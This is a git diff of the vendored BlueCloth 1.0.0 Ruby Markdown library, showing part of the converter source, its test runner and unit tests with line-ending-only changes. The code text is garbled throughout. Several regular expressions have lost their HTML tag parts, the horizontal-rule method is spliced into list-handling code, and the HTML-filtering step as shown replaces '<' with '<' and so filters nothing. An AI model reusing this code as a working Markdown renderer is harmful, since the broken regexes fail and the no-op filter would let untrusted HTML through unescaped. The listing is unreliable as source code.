untrusted input at submission-time via + # untainting, aren't you?) + attr_accessor :filter_html, :filter_styles + + # RedCloth-compatibility accessor. Line-folding is part of Markdown syntax, + # so this isn't used by anything. + attr_accessor :fold_lines + + + ### Render Markdown-formatted text in this string object as HTML and return + ### it. The parameter is for compatibility with RedCloth, and is currently + ### unused, though that may change in the future. + def to_html( lite=false ) + + # Create a StringScanner we can reuse for various lexing tasks + @scanner = StringScanner::new( '' ) + + # Make a structure to carry around stuff that gets placeholdered out of + # the source. + rs = RenderState::new( {}, {}, {} ) + + # Make a copy of the string with normalized line endings, tabs turned to + # spaces, and a couple of guaranteed newlines at the end + text = self.gsub( /\r\n?/, "\n" ).detab + text += "\n\n" + @log.debug "Normalized line-endings: %p" % text + + # Filter HTML if we're asked to do so + if self.filter_html + text.gsub!( "<", "<" ) + text.gsub!( ">", ">" ) + @log.debug "Filtered HTML: %p" % text + end + + # Simplify blank lines + text.gsub!( /^ +$/, '' ) + @log.debug "Tabs -> spaces/blank lines stripped: %p" % text + + # Replace HTML blocks with placeholders + text = hide_html_blocks( text, rs ) + @log.debug "Hid HTML blocks: %p" % text + @log.debug "Render state: %p" % rs + + # Strip link definitions, store in render state + text = strip_link_definitions( text, rs ) + @log.debug "Stripped link definitions: %p" % text + @log.debug "Render state: %p" % rs + + # Escape meta-characters + text = escape_special_chars( text ) + @log.debug "Escaped special characters: %p" % text + + # Transform block-level constructs + text = apply_block_transforms( text, rs ) + @log.debug "After block-level transforms: %p" % text + + # Now swap back in all the escaped characters + text = unescape_special_chars( text ) + @log.debug "After unescaping special characters: %p" % text + + return text + end + + + ### Convert tabs in +str+ to spaces. + def detab( tabwidth=TabWidth ) + copy = self.dup + copy.detab!( tabwidth ) + return copy + end + + + ### Convert tabs to spaces in place and return self if any were converted. + def detab!( tabwidth=TabWidth ) + newstr = self.split( /\n/ ).collect {|line| + line.gsub( /(.*?)\t/ ) do + $1 + ' ' * (tabwidth - $1.length % tabwidth) + end + }.join("\n") + self.replace( newstr ) + end + + + ####### + #private + ####### + + ### Do block-level transforms on a copy of +str+ using the specified render + ### state +rs+ and return the results. + def apply_block_transforms( str, rs ) + # Port: This was called '_runBlockGamut' in the original + + @log.debug "Applying block transforms to:\n %p" % str + text = transform_headers( str, rs ) + text = transform_hrules( text, rs ) + text = transform_lists( text, rs ) + text = transform_code_blocks( text, rs ) + text = transform_block_quotes( text, rs ) + text = transform_auto_links( text, rs ) + text = hide_html_blocks( text, rs ) + + text = form_paragraphs( text, rs ) + + @log.debug "Done with block transforms:\n %p" % text + return text + end + + + ### Apply Markdown span transforms to a copy of the specified +str+ with the + ### given render state +rs+ and return it. + def apply_span_transforms( str, rs ) + @log.debug "Applying span transforms to:\n %p" % str + + str = transform_code_spans( str, rs ) + str = encode_html( str ) + str = transform_images( str, rs ) + str = transform_anchors( str, rs ) + str = transform_italic_and_bold( str, rs ) + + # Hard breaks + str.gsub!( / {2,}\n/, " + #
        + # tags for inner block must be indented. + #
        + # + StrictBlockRegex = %r{ + ^ # Start of line + <(#{StrictTagPattern}) # Start tag: \2 + \b # word break + (.*\n)*? # Any number of lines, minimal match + # Matching end tag + [ ]* # trailing spaces + $ # End of line or document + }ix + + # More-liberal block-matching + LooseBlockRegex = %r{ + ^ # Start of line + <(#{LooseTagPattern}) # start tag: \2 + \b # word break + (.*\n)*? # Any number of lines, minimal match + .* # Anything + Matching end tag + [ ]* # trailing spaces + $ # End of line or document + }ix + + # Special case for
        . + HruleBlockRegex = %r{ + ( # $1 + \A\n? # Start of doc + optional \n + | # or + .*\n\n # anything + blank line + ) + ( # save in $2 + [ ]* # Any spaces +
        ])*? # Attributes + /?> # Tag close + $ # followed by a blank line or end of document + ) + }ix + + ### Replace all blocks of HTML in +str+ that start in the left margin with + ### tokens. + def hide_html_blocks( str, rs ) + @log.debug "Hiding HTML blocks in %p" % str + + # Tokenizer proc to pass to gsub + tokenize = lambda {|match| + key = Digest::MD5::hexdigest( match ) + rs.html_blocks[ key ] = match + @log.debug "Replacing %p with %p" % [ match, key ] + "\n\n#{key}\n\n" + } + + rval = str.dup + + @log.debug "Finding blocks with the strict regex..." + rval.gsub!( StrictBlockRegex, &tokenize ) + + @log.debug "Finding blocks with the loose regex..." + rval.gsub!( LooseBlockRegex, &tokenize ) + + @log.debug "Finding hrules..." + rval.gsub!( HruleBlockRegex ) {|match| $1 + tokenize[$2] } + + return rval + end + + + # Link defs are in the form: ^[id]: url "optional title" + LinkRegex = %r{ + ^[ ]*\[(.+)\]: # id = $1 + [ ]* + \n? # maybe *one* newline + [ ]* + ? # url = $2 + [ ]* + \n? # maybe one newline + [ ]* + (?: + # Titles are delimited by "quotes" or (parens). + ["(] + (.+?) # title = $3 + [")] # Matching ) or " + [ ]* + )? # title is optional + (?:\n+|\Z) + }x + + ### Strip link definitions from +str+, storing them in the given RenderState + ### +rs+. + def strip_link_definitions( str, rs ) + str.gsub( LinkRegex ) {|match| + id, url, title = $1, $2, $3 + + rs.urls[ id.downcase ] = encode_html( url ) + unless title.nil? + rs.titles[ id.downcase ] = title.gsub( /"/, """ ) + end + "" + } + end + + + ### Escape special characters in the given +str+ + def escape_special_chars( str ) + @log.debug " Escaping special characters" + text = '' + + # The original Markdown source has something called '$tags_to_skip' + # declared here, but it's never used, so I don't define it. + + tokenize_html( str ) {|token, str| + @log.debug " Adding %p token %p" % [ token, str ] + case token + + # Within tags, encode * and _ + when :tag + text += str. + gsub( /\*/, EscapeTable['*'][:md5] ). + gsub( /_/, EscapeTable['_'][:md5] ) + + # Encode backslashed stuff in regular text + when :text + text += encode_backslash_escapes( str ) + else + raise TypeError, "Unknown token type %p" % token + end + } + + @log.debug " Text with escapes is now: %p" % text + return text + end + + + ### Swap escaped special characters in a copy of the given +str+ and return + ### it. + def unescape_special_chars( str ) + EscapeTable.each {|char, hash| + @log.debug "Unescaping escaped %p with %p" % [ char, hash[:md5re] ] + str.gsub!( hash[:md5re], char ) + } + + return str + end + + + ### Return a copy of the given +str+ with any backslashed special character + ### in it replaced with MD5 placeholders. + def encode_backslash_escapes( str ) + # Make a copy with any double-escaped backslashes encoded + text = str.gsub( /\\\\/, EscapeTable['\\'][:md5] ) + + EscapeTable.each_pair {|char, esc| + next if char == '\\' + text.gsub!( esc[:re], esc[:md5] ) + } + + return text + end + + + ### Transform any Markdown-style horizontal rules in a copy of the specified + ### +str+ and return it. + def transform_hrules( str, rs ) + @log.debug " Transforming horizontal rules" + str.gsub( /^( ?[\-\*_] ?){3,}$/, "\n\n%s\n} % [ + list_type, + transform_list_items( list, rs ), + list_type, + ] + } + end + + + # Pattern for transforming list items + ListItemRegexp = %r{ + (\n)? # leading line = $1 + (^[ ]*) # leading whitespace = $2 + (#{ListMarkerAny}) [ ]+ # list marker = $3 + ((?m:.+?) # list item text = $4 + (\n{1,2})) + (?= \n* (\z | \2 (#{ListMarkerAny}) [ ]+)) + }x + + ### Transform list items in a copy of the given +str+ and return it. + def transform_list_items( str, rs ) + @log.debug " Transforming list items" + + # Trim trailing blank lines + str = str.sub( /\n{2,}\z/, "\n" ) + + str.gsub( ListItemRegexp ) {|line| + @log.debug " Found item line %p" % line + leading_line, item = $1, $4 + + if leading_line or /\n{2,}/.match( item ) + @log.debug " Found leading line or item has a blank" + item = apply_block_transforms( outdent(item), rs ) + else + # Recursion for sub-lists + @log.debug " Recursing for sublist" + item = transform_lists( outdent(item), rs ).chomp + item = apply_span_transforms( item, rs ) + end + + %{
      • %s
      • \n} % item + } + end + + + # Pattern for matching codeblocks + CodeBlockRegexp = %r{ + (?:\n\n|\A) + ( # $1 = the code block + (?: + (?:[ ]{#{TabWidth}} | \t) # a tab or tab-width of spaces + .*\n+ + )+ + ) + (^[ ]{0,#{TabWidth - 1}}\S|\Z) # Lookahead for non-space at + # line-start, or end of doc + }x + + ### Transform Markdown-style codeblocks in a copy of the specified +str+ and + ### return it. + def transform_code_blocks( str, rs ) + @log.debug " Transforming code blocks" + + str.gsub( CodeBlockRegexp ) {|block| + codeblock = $1 + remainder = $2 + + # Generate the codeblock + %{\n\n
        %s\n
        \n\n%s} % + [ encode_code( outdent(codeblock), rs ).rstrip, remainder ] + } + end + + + # Pattern for matching Markdown blockquote blocks + BlockQuoteRegexp = %r{ + (?: + ^[ ]*>[ ]? # '>' at the start of a line + .+\n # rest of the first line + (?:.+\n)* # subsequent consecutive lines + \n* # blanks + )+ + }x + PreChunk = %r{ ( ^ \s*
         .+? 
        ) }xm + + ### Transform Markdown-style blockquotes in a copy of the specified +str+ + ### and return it. + def transform_block_quotes( str, rs ) + @log.debug " Transforming block quotes" + + str.gsub( BlockQuoteRegexp ) {|quote| + @log.debug "Making blockquote from %p" % quote + + quote.gsub!( /^ *> ?/, '' ) # Trim one level of quoting + quote.gsub!( /^ +$/, '' ) # Trim whitespace-only lines + + indent = " " * TabWidth + quoted = %{
        \n%s\n
        \n\n} % + apply_block_transforms( quote, rs ). + gsub( /^/, indent ). + gsub( PreChunk ) {|m| m.gsub(/^#{indent}/o, '') } + @log.debug "Blockquoted chunk is: %p" % quoted + quoted + } + end + + + AutoAnchorURLRegexp = /<((https?|ftp):[^'">\s]+)>/ + AutoAnchorEmailRegexp = %r{ + < + ( + [-.\w]+ + \@ + [-a-z0-9]+(\.[-a-z0-9]+)*\.[a-z]+ + ) + > + }xi + + ### Transform URLs in a copy of the specified +str+ into links and return + ### it. + def transform_auto_links( str, rs ) + @log.debug " Transforming auto-links" + str.gsub( AutoAnchorURLRegexp, %{\\1}). + gsub( AutoAnchorEmailRegexp ) {|addr| + encode_email_address( unescape_special_chars($1) ) + } + end + + + # Encoder functions to turn characters of an email address into encoded + # entities. + Encoders = [ + lambda {|char| "&#%03d;" % char}, + lambda {|char| "&#x%X;" % char}, + lambda {|char| char.chr }, + ] + + ### Transform a copy of the given email +addr+ into an escaped version safer + ### for posting publicly. + def encode_email_address( addr ) + + rval = '' + ("mailto:" + addr).each_byte {|b| + case b + when ?: + rval += ":" + when ?@ + rval += Encoders[ rand(2) ][ b ] + else + r = rand(100) + rval += ( + r > 90 ? Encoders[2][ b ] : + r < 45 ? Encoders[1][ b ] : + Encoders[0][ b ] + ) + end + } + + return %{%s} % [ rval, rval.sub(/.+?:/, '') ] + end + + + # Regex for matching Setext-style headers + SetextHeaderRegexp = %r{ + (.+) # The title text ($1) + \n + ([\-=])+ # Match a line of = or -. Save only one in $2. + [ ]*\n+ + }x + + # Regexp for matching ATX-style headers + AtxHeaderRegexp = %r{ + ^(\#{1,6}) # $1 = string of #'s + [ ]* + (.+?) # $2 = Header text + [ ]* + \#* # optional closing #'s (not counted) + \n+ + }x + + ### Apply Markdown header transforms to a copy of the given +str+ amd render + ### state +rs+ and return the result. + def transform_headers( str, rs ) + @log.debug " Transforming headers" + + # Setext-style headers: + # Header 1 + # ======== + # + # Header 2 + # -------- + # + str. + gsub( SetextHeaderRegexp ) {|m| + @log.debug "Found setext-style header" + title, hdrchar = $1, $2 + title = apply_span_transforms( title, rs ) + + case hdrchar + when '=' + %[

        #{title}

        \n\n] + when '-' + %[

        #{title}

        \n\n] + else + title + end + }. + + gsub( AtxHeaderRegexp ) {|m| + @log.debug "Found ATX-style header" + hdrchars, title = $1, $2 + title = apply_span_transforms( title, rs ) + + level = hdrchars.length + %{%s\n\n} % [ level, title, level ] + } + end + + + ### Wrap all remaining paragraph-looking text in a copy of +str+ inside

        + ### tags and return it. + def form_paragraphs( str, rs ) + @log.debug " Forming paragraphs" + grafs = str. + sub( /\A\n+/, '' ). + sub( /\n+\z/, '' ). + split( /\n{2,}/ ) + + rval = grafs.collect {|graf| + + # Unhashify HTML blocks if this is a placeholder + if rs.html_blocks.key?( graf ) + rs.html_blocks[ graf ] + + # Otherwise, wrap in

        tags + else + apply_span_transforms(graf, rs). + sub( /^[ ]*/, '

        ' ) + '

        ' + end + }.join( "\n\n" ) + + @log.debug " Formed paragraphs: %p" % rval + return rval + end + + + # Pattern to match the linkid part of an anchor tag for reference-style + # links. + RefLinkIdRegex = %r{ + [ ]? # Optional leading space + (?:\n[ ]*)? # Optional newline + spaces + \[ + (.*?) # Id = $1 + \] + }x + + InlineLinkRegex = %r{ + \( # Literal paren + [ ]* # Zero or more spaces + ? # URI = $1 + [ ]* # Zero or more spaces + (?: # + ([\"\']) # Opening quote char = $2 + (.*?) # Title = $3 + \2 # Matching quote char + )? # Title is optional + \) + }x + + ### Apply Markdown anchor transforms to a copy of the specified +str+ with + ### the given render state +rs+ and return it. + def transform_anchors( str, rs ) + @log.debug " Transforming anchors" + @scanner.string = str.dup + text = '' + + # Scan the whole string + until @scanner.empty? + + if @scanner.scan( /\[/ ) + link = ''; linkid = '' + depth = 1 + startpos = @scanner.pos + @log.debug " Found a bracket-open at %d" % startpos + + # Scan the rest of the tag, allowing unlimited nested []s. If + # the scanner runs out of text before the opening bracket is + # closed, append the text and return (wasn't a valid anchor). + while depth.nonzero? + linktext = @scanner.scan_until( /\]|\[/ ) + + if linktext + @log.debug " Found a bracket at depth %d: %p" % [ depth, linktext ] + link += linktext + + # Decrement depth for each closing bracket + depth += ( linktext[-1, 1] == ']' ? -1 : 1 ) + @log.debug " Depth is now #{depth}" + + # If there's no more brackets, it must not be an anchor, so + # just abort. + else + @log.debug " Missing closing brace, assuming non-link." + link += @scanner.rest + @scanner.terminate + return text + '[' + link + end + end + link.slice!( -1 ) # Trim final ']' + @log.debug " Found leading link %p" % link + + # Look for a reference-style second part + if @scanner.scan( RefLinkIdRegex ) + linkid = @scanner[1] + linkid = link.dup if linkid.empty? + linkid.downcase! + @log.debug " Found a linkid: %p" % linkid + + # If there's a matching link in the link table, build an + # anchor tag for it. + if rs.urls.key?( linkid ) + @log.debug " Found link key in the link table: %p" % rs.urls[linkid] + url = escape_md( rs.urls[linkid] ) + + text += %{#{link}} + + # If the link referred to doesn't exist, just append the raw + # source to the result + else + @log.debug " Linkid %p not found in link table" % linkid + @log.debug " Appending original string instead: " + @log.debug "%p" % @scanner.string[ startpos-1 .. @scanner.pos-1 ] + text += @scanner.string[ startpos-1 .. @scanner.pos-1 ] + end + + # ...or for an inline style second part + elsif @scanner.scan( InlineLinkRegex ) + url = @scanner[1] + title = @scanner[3] + @log.debug " Found an inline link to %p" % url + + text += %{#{link}} + + # No linkid part: just append the first part as-is. + else + @log.debug "No linkid, so no anchor. Appending literal text." + text += @scanner.string[ startpos-1 .. @scanner.pos-1 ] + end # if linkid + + # Plain text + else + @log.debug " Scanning to the next link from %p" % @scanner.rest + text += @scanner.scan( /[^\[]+/ ) + end + + end # until @scanner.empty? + + return text + end + + + # Pattern to match strong emphasis in Markdown text + BoldRegexp = %r{ (\*\*|__) (\S|\S.+?\S) \1 }x + + # Pattern to match normal emphasis in Markdown text + ItalicRegexp = %r{ (\*|_) (\S|\S.+?\S) \1 }x + + ### Transform italic- and bold-encoded text in a copy of the specified +str+ + ### and return it. + def transform_italic_and_bold( str, rs ) + @log.debug " Transforming italic and bold" + + str. + gsub( BoldRegexp, %{\\2} ). + gsub( ItalicRegexp, %{\\2} ) + end + + + ### Transform backticked spans into spans. + def transform_code_spans( str, rs ) + @log.debug " Transforming code spans" + + # Set up the string scanner and just return the string unless there's at + # least one backtick. + @scanner.string = str.dup + unless @scanner.exist?( /`/ ) + @scanner.terminate + @log.debug "No backticks found for code span in %p" % str + return str + end + + @log.debug "Transforming code spans in %p" % str + + # Build the transformed text anew + text = '' + + # Scan to the end of the string + until @scanner.empty? + + # Scan up to an opening backtick + if pre = @scanner.scan_until( /.?(?=`)/m ) + text += pre + @log.debug "Found backtick at %d after '...%s'" % [ @scanner.pos, text[-10, 10] ] + + # Make a pattern to find the end of the span + opener = @scanner.scan( /`+/ ) + len = opener.length + closer = Regexp::new( opener ) + @log.debug "Scanning for end of code span with %p" % closer + + # Scan until the end of the closing backtick sequence. Chop the + # backticks off the resultant string, strip leading and trailing + # whitespace, and encode any enitites contained in it. + codespan = @scanner.scan_until( closer ) or + raise FormatError::new( @scanner.rest[0,20], + "No %p found before end" % opener ) + + @log.debug "Found close of code span at %d: %p" % [ @scanner.pos - len, codespan ] + codespan.slice!( -len, len ) + text += "%s" % + encode_code( codespan.strip, rs ) + + # If there's no more backticks, just append the rest of the string + # and move the scan pointer to the end + else + text += @scanner.rest + @scanner.terminate + end + end + + return text + end + + + # Next, handle inline images: ![alt text](url "optional title") + # Don't forget: encode * and _ + InlineImageRegexp = %r{ + ( # Whole match = $1 + !\[ (.*?) \] # alt text = $2 + \([ ]* + ? # source url = $3 + [ ]* + (?: # + (["']) # quote char = $4 + (.*?) # title = $5 + \4 # matching quote + [ ]* + )? # title is optional + \) + ) + }xs #" + + + # Reference-style images + ReferenceImageRegexp = %r{ + ( # Whole match = $1 + !\[ (.*?) \] # Alt text = $2 + [ ]? # Optional space + (?:\n[ ]*)? # One optional newline + spaces + \[ (.*?) \] # id = $3 + ) + }xs + + ### Turn image markup into image tags. + def transform_images( str, rs ) + @log.debug " Transforming images" % str + + # Handle reference-style labeled images: ![alt text][id] + str. + gsub( ReferenceImageRegexp ) {|match| + whole, alt, linkid = $1, $2, $3.downcase + @log.debug "Matched %p" % match + res = nil + alt.gsub!( /"/, '"' ) + + # for shortcut links like ![this][]. + linkid = alt.downcase if linkid.empty? + + if rs.urls.key?( linkid ) + url = escape_md( rs.urls[linkid] ) + @log.debug "Found url '%s' for linkid '%s' " % [ url, linkid ] + + # Build the tag + result = %{%s}, '>' ). + gsub( CodeEscapeRegexp ) {|match| EscapeTable[match][:md5]} + end + + + + ################################################################# + ### U T I L I T Y F U N C T I O N S + ################################################################# + + ### Escape any markdown characters in a copy of the given +str+ and return + ### it. + def escape_md( str ) + str. + gsub( /\*/, EscapeTable['*'][:md5] ). + gsub( /_/, EscapeTable['_'][:md5] ) + end + + + # Matching constructs for tokenizing X/HTML + HTMLCommentRegexp = %r{ }mx + XMLProcInstRegexp = %r{ <\? .*? \?> }mx + MetaTag = Regexp::union( HTMLCommentRegexp, XMLProcInstRegexp ) + + HTMLTagOpenRegexp = %r{ < [a-z/!$] [^<>]* }imx + HTMLTagCloseRegexp = %r{ > }x + HTMLTagPart = Regexp::union( HTMLTagOpenRegexp, HTMLTagCloseRegexp ) + + ### Break the HTML source in +str+ into a series of tokens and return + ### them. The tokens are just 2-element Array tuples with a type and the + ### actual content. If this function is called with a block, the type and + ### text parts of each token will be yielded to it one at a time as they are + ### extracted. + def tokenize_html( str ) + depth = 0 + tokens = [] + @scanner.string = str.dup + type, token = nil, nil + + until @scanner.empty? + @log.debug "Scanning from %p" % @scanner.rest + + # Match comments and PIs without nesting + if (( token = @scanner.scan(MetaTag) )) + type = :tag + + # Do nested matching for HTML tags + elsif (( token = @scanner.scan(HTMLTagOpenRegexp) )) + tagstart = @scanner.pos + @log.debug " Found the start of a plain tag at %d" % tagstart + + # Start the token with the opening angle + depth = 1 + type = :tag + + # Scan the rest of the tag, allowing unlimited nested <>s. If + # the scanner runs out of text before the tag is closed, raise + # an error. + while depth.nonzero? + + # Scan either an opener or a closer + chunk = @scanner.scan( HTMLTagPart ) or + raise "Malformed tag at character %d: %p" % + [ tagstart, token + @scanner.rest ] + + @log.debug " Found another part of the tag at depth %d: %p" % [ depth, chunk ] + + token += chunk + + # If the last character of the token so far is a closing + # angle bracket, decrement the depth. Otherwise increment + # it for a nested tag. + depth += ( token[-1, 1] == '>' ? -1 : 1 ) + @log.debug " Depth is now #{depth}" + end + + # Match text segments + else + @log.debug " Looking for a chunk of text" + type = :text + + # Scan forward, always matching at least one character to move + # the pointer beyond any non-tag '<'. + token = @scanner.scan_until( /[^<]+/m ) + end + + @log.debug " type: %p, token: %p" % [ type, token ] + + # If a block is given, feed it one token at a time. Add the token to + # the token list to be returned regardless. + if block_given? + yield( type, token ) + end + tokens << [ type, token ] + end + + return tokens + end + + + ### Return a copy of +str+ with angle brackets and ampersands HTML-encoded. + def encode_html( str ) + str.gsub( /&(?!#?[x]?(?:[0-9a-f]+|\w+);)/i, "&" ). + gsub( %r{<(?![a-z/?\$!])}i, "<" ) + end + + + ### Return one level of line-leading tabs or spaces from a copy of +str+ and + ### return it. + def outdent( str ) + str.gsub( /^(\t|[ ]{1,#{TabWidth}})/, '') + end + +end # class BlueCloth + diff --git a/vendor/bluecloth-1.0.0/test.rb b/vendor/bluecloth-1.0.0/test.rb index c86fca08..935ef68b 100755 --- a/vendor/bluecloth-1.0.0/test.rb +++ b/vendor/bluecloth-1.0.0/test.rb @@ -1,117 +1,117 @@ -#!/usr/bin/ruby -# -# Test suite for BlueCloth classes -# $Id: test.rb,v 1.1 2005/01/07 23:01:51 alexeyv Exp $ -# - -BEGIN { - $basedir = File::dirname( __FILE__ ) - ["lib", "tests", "redist"].each do |subdir| - $LOAD_PATH.unshift File::join( $basedir, subdir ) - end - - require "#{$basedir}/utils" - include UtilityFunctions -} - -verboseOff { - require 'bctestcase' - require 'find' - require 'test/unit' - require 'test/unit/testsuite' - require 'test/unit/ui/console/testrunner' - require 'optparse' -} - -# Turn off output buffering -$stderr.sync = $stdout.sync = true -$DebugPattern = nil - -# Initialize variables -safelevel = 0 -patterns = [] -requires = [] - -# Parse command-line switches -ARGV.options {|oparser| - oparser.banner = "Usage: #$0 [options] [TARGETS]\n" - - oparser.on( "--debug[=PATTERN]", "-d[=PATTERN]", String, - "Turn debugging on (for tests which match PATTERN)" ) {|arg| - if arg - $DebugPattern = Regexp::new( arg ) - puts "Turned debugging on for %p." % $DebugPattern - else - $DEBUG = true - debugMsg "Turned debugging on globally." - end - } - - oparser.on( "--verbose", "-v", TrueClass, "Make progress verbose" ) { - $VERBOSE = true - debugMsg "Turned verbose on." - } - - # Handle the 'help' option - oparser.on( "--help", "-h", "Display this text." ) { - $stderr.puts oparser - exit!(0) - } - - oparser.parse! -} - -# Parse test patterns -ARGV.each {|pat| patterns << Regexp::new( pat, Regexp::IGNORECASE )} -$stderr.puts "#{patterns.length} patterns given on the command line" - -### Load all the tests from the tests dir -Find.find("#{$basedir}/tests") {|file| - Find.prune if /\/\./ =~ file or /~$/ =~ file - Find.prune if /TEMPLATE/ =~ file - next if File.stat( file ).directory? - - unless patterns.empty? - Find.prune unless patterns.find {|pat| pat =~ file} - end - - debugMsg "Considering '%s': " % file - next unless file =~ /\.tests.rb$/ - debugMsg "Requiring '%s'..." % file - require "#{file}" - requires << file -} - -$stderr.puts "Required #{requires.length} files." -unless patterns.empty? - $stderr.puts "[" + requires.sort.join( ", " ) + "]" -end - -# Build the test suite -class BlueClothTests - class << self - def suite - suite = Test::Unit::TestSuite.new( "BlueCloth" ) - - if suite.respond_to?( :add ) - ObjectSpace.each_object( Class ) {|klass| - suite.add( klass.suite ) if klass < BlueCloth::TestCase - } - else - ObjectSpace.each_object( Class ) {|klass| - suite << klass.suite if klass < BlueCloth::TestCase - } - end - - return suite - end - end -end - -# Run tests -$SAFE = safelevel -Test::Unit::UI::Console::TestRunner.new( BlueClothTests ).start - - - - +#!/usr/bin/ruby +# +# Test suite for BlueCloth classes +# $Id: test.rb,v 1.1 2005/01/07 23:01:51 alexeyv Exp $ +# + +BEGIN { + $basedir = File::dirname( __FILE__ ) + ["lib", "tests", "redist"].each do |subdir| + $LOAD_PATH.unshift File::join( $basedir, subdir ) + end + + require "#{$basedir}/utils" + include UtilityFunctions +} + +verboseOff { + require 'bctestcase' + require 'find' + require 'test/unit' + require 'test/unit/testsuite' + require 'test/unit/ui/console/testrunner' + require 'optparse' +} + +# Turn off output buffering +$stderr.sync = $stdout.sync = true +$DebugPattern = nil + +# Initialize variables +safelevel = 0 +patterns = [] +requires = [] + +# Parse command-line switches +ARGV.options {|oparser| + oparser.banner = "Usage: #$0 [options] [TARGETS]\n" + + oparser.on( "--debug[=PATTERN]", "-d[=PATTERN]", String, + "Turn debugging on (for tests which match PATTERN)" ) {|arg| + if arg + $DebugPattern = Regexp::new( arg ) + puts "Turned debugging on for %p." % $DebugPattern + else + $DEBUG = true + debugMsg "Turned debugging on globally." + end + } + + oparser.on( "--verbose", "-v", TrueClass, "Make progress verbose" ) { + $VERBOSE = true + debugMsg "Turned verbose on." + } + + # Handle the 'help' option + oparser.on( "--help", "-h", "Display this text." ) { + $stderr.puts oparser + exit!(0) + } + + oparser.parse! +} + +# Parse test patterns +ARGV.each {|pat| patterns << Regexp::new( pat, Regexp::IGNORECASE )} +$stderr.puts "#{patterns.length} patterns given on the command line" + +### Load all the tests from the tests dir +Find.find("#{$basedir}/tests") {|file| + Find.prune if /\/\./ =~ file or /~$/ =~ file + Find.prune if /TEMPLATE/ =~ file + next if File.stat( file ).directory? + + unless patterns.empty? + Find.prune unless patterns.find {|pat| pat =~ file} + end + + debugMsg "Considering '%s': " % file + next unless file =~ /\.tests.rb$/ + debugMsg "Requiring '%s'..." % file + require "#{file}" + requires << file +} + +$stderr.puts "Required #{requires.length} files." +unless patterns.empty? + $stderr.puts "[" + requires.sort.join( ", " ) + "]" +end + +# Build the test suite +class BlueClothTests + class << self + def suite + suite = Test::Unit::TestSuite.new( "BlueCloth" ) + + if suite.respond_to?( :add ) + ObjectSpace.each_object( Class ) {|klass| + suite.add( klass.suite ) if klass < BlueCloth::TestCase + } + else + ObjectSpace.each_object( Class ) {|klass| + suite << klass.suite if klass < BlueCloth::TestCase + } + end + + return suite + end + end +end + +# Run tests +$SAFE = safelevel +Test::Unit::UI::Console::TestRunner.new( BlueClothTests ).start + + + + diff --git a/vendor/bluecloth-1.0.0/tests/00_Class.tests.rb b/vendor/bluecloth-1.0.0/tests/00_Class.tests.rb index e735d80a..730d17d4 100755 --- a/vendor/bluecloth-1.0.0/tests/00_Class.tests.rb +++ b/vendor/bluecloth-1.0.0/tests/00_Class.tests.rb @@ -1,71 +1,71 @@ -#!/usr/bin/ruby -# -# Unit test for the BlueCloth class object -# $Id: 00_Class.tests.rb,v 1.1 2005/01/07 23:01:51 alexeyv Exp $ -# -# Copyright (c) 2004 The FaerieMUD Consortium. -# - -if !defined?( BlueCloth ) || !defined?( BlueCloth::TestCase ) - basedir = File::dirname( __FILE__ ) - require File::join( basedir, 'bctestcase' ) -end - - -### This test case tests ... -class BlueClothClassTestCase < BlueCloth::TestCase - - TestString = "foo" - - def test_00_class_constant - printTestHeader "BlueCloth: Class Constant" - - assert Object::constants.include?( "BlueCloth" ), - "No BlueCloth constant in Object" - assert_instance_of Class, BlueCloth - end - - def test_01_instantiation - printTestHeader "BlueCloth: Instantiation" - rval = nil - - # With no argument... ("") - assert_nothing_raised { - rval = BlueCloth::new - } - assert_instance_of BlueCloth, rval - assert_kind_of String, rval - assert_equal "", rval - - # String argument - assert_nothing_raised { - rval = BlueCloth::new TestString - } - assert_instance_of BlueCloth, rval - assert_kind_of String, rval - assert_equal TestString, rval - - addSetupBlock { - debugMsg "Creating a new BlueCloth" - @obj = BlueCloth::new( TestString ) - } - addTeardownBlock { - @obj = nil - } - end - - def test_02_duplication - printTestHeader "BlueCloth: Duplication" - rval = nil - - assert_nothing_raised { - rval = @obj.dup - } - assert_instance_of BlueCloth, rval - assert_kind_of String, rval - assert_equal TestString, rval - end - - -end - +#!/usr/bin/ruby +# +# Unit test for the BlueCloth class object +# $Id: 00_Class.tests.rb,v 1.1 2005/01/07 23:01:51 alexeyv Exp $ +# +# Copyright (c) 2004 The FaerieMUD Consortium. +# + +if !defined?( BlueCloth ) || !defined?( BlueCloth::TestCase ) + basedir = File::dirname( __FILE__ ) + require File::join( basedir, 'bctestcase' ) +end + + +### This test case tests ... +class BlueClothClassTestCase < BlueCloth::TestCase + + TestString = "foo" + + def test_00_class_constant + printTestHeader "BlueCloth: Class Constant" + + assert Object::constants.include?( "BlueCloth" ), + "No BlueCloth constant in Object" + assert_instance_of Class, BlueCloth + end + + def test_01_instantiation + printTestHeader "BlueCloth: Instantiation" + rval = nil + + # With no argument... ("") + assert_nothing_raised { + rval = BlueCloth::new + } + assert_instance_of BlueCloth, rval + assert_kind_of String, rval + assert_equal "", rval + + # String argument + assert_nothing_raised { + rval = BlueCloth::new TestString + } + assert_instance_of BlueCloth, rval + assert_kind_of String, rval + assert_equal TestString, rval + + addSetupBlock { + debugMsg "Creating a new BlueCloth" + @obj = BlueCloth::new( TestString ) + } + addTeardownBlock { + @obj = nil + } + end + + def test_02_duplication + printTestHeader "BlueCloth: Duplication" + rval = nil + + assert_nothing_raised { + rval = @obj.dup + } + assert_instance_of BlueCloth, rval + assert_kind_of String, rval + assert_equal TestString, rval + end + + +end + diff --git a/vendor/bluecloth-1.0.0/tests/05_Markdown.tests.rb b/vendor/bluecloth-1.0.0/tests/05_Markdown.tests.rb index e2449ba1..4886cb8d 100755 --- a/vendor/bluecloth-1.0.0/tests/05_Markdown.tests.rb +++ b/vendor/bluecloth-1.0.0/tests/05_Markdown.tests.rb @@ -1,1527 +1,1527 @@ -#!/usr/bin/ruby -# -# Test case for BlueCloth Markdown transforms. -# $Id: 05_Markdown.tests.rb,v 1.1 2005/01/07 23:01:51 alexeyv Exp $ -# -# Copyright (c) 2004 The FaerieMUD Consortium. -# - -if !defined?( BlueCloth ) || !defined?( BlueCloth::TestCase ) - basedir = File::dirname( __FILE__ ) - require File::join( basedir, 'bctestcase' ) -end - - -### This test case tests ... -class SubfunctionsTestCase < BlueCloth::TestCase - - ### Test email address output - Emails = %w[ - address@example.com - foo-list-admin@bar.com - fu@bar.COM - baz@ruby-lang.org - foo-tim-bazzle@bar-hop.co.uk - littlestar@twinkle.twinkle.band.CO.ZA - ll@lll.lllll.ll - Ull@Ulll.Ulllll.ll - UUUU1@UU1.UU1UUU.UU - l@ll.ll - Ull.Ullll@llll.ll - Ulll-Ull.Ulllll@ll.ll - 1@111.ll - ] - # I can't see a way to handle IDNs clearly yet, so these will have to wait. - 